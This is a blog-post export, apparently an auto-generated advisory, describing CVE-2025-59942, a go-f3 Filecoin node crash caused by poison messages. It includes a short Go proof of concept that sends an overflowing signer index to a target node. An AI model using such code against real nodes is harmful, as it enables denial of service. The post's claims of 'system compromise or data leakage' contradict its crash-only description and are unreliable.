{"id":87061,"date":"2026-06-07T03:23:40","date_gmt":"2026-06-07T03:23:40","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-59942-filecoin-nodes-vulnerability-due-to-poison-messages-in-go-f3","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-59942-filecoin-nodes-vulnerability-due-to-poison-messages-in-go-f3\/","title":{"rendered":"<strong>CVE-2025-59942: Filecoin Nodes Vulnerability Due to Poison Messages in go-f3<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where &#8216;poison&#8217; messages can induce a panic in go-f3, leading to potential system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-59942<br \/>\nSeverity: High (7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3944285916\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>go-f3 | 0.8.6 and below<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability resides in the validation process of go-f3, where a specific type of poison message can cause an integer overflow in the signer index validation. This results in the node crashing. An attacker can exploit this vulnerability by directly sending the poison message to the target, which doesn&#8217;t require any user interaction. The message is not self-propagating as the bug lies within the validator.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2330181894\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a &#8216;poison&#8217; message being sent to a node.<\/p>\n<pre><code class=\"\" data-line=\"\">package main\nimport (\n&quot;net&quot;\n&quot;log&quot;\n&quot;fmt&quot;\n)\nfunc main() {\nconn, err := net.Dial(&quot;tcp&quot;, &quot;target.node.com:port&quot;)\nif err != nil {\nlog.Fatal(&quot;Connection failed: &quot;, err.Error())\n}\n\/\/ Crafting the poison message\nmsg := fmt.Sprintf(&quot;{\\&quot;signer_index\\&quot;: %d}&quot;, 1&lt;&lt;31)\n_, err = conn.Write([]byte(msg))\nif err != nil {\nlog.Fatal(&quot;Failed to send poison message: &quot;, err.Error())\n}\n}<\/code><\/pre>\n<p>This code attempts to connect to the target node and send a crafted poison message that would cause an integer overflow and crash the node.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where &#8216;poison&#8217; messages can induce a panic in go-f3, leading to potential system compromise or data leakage. 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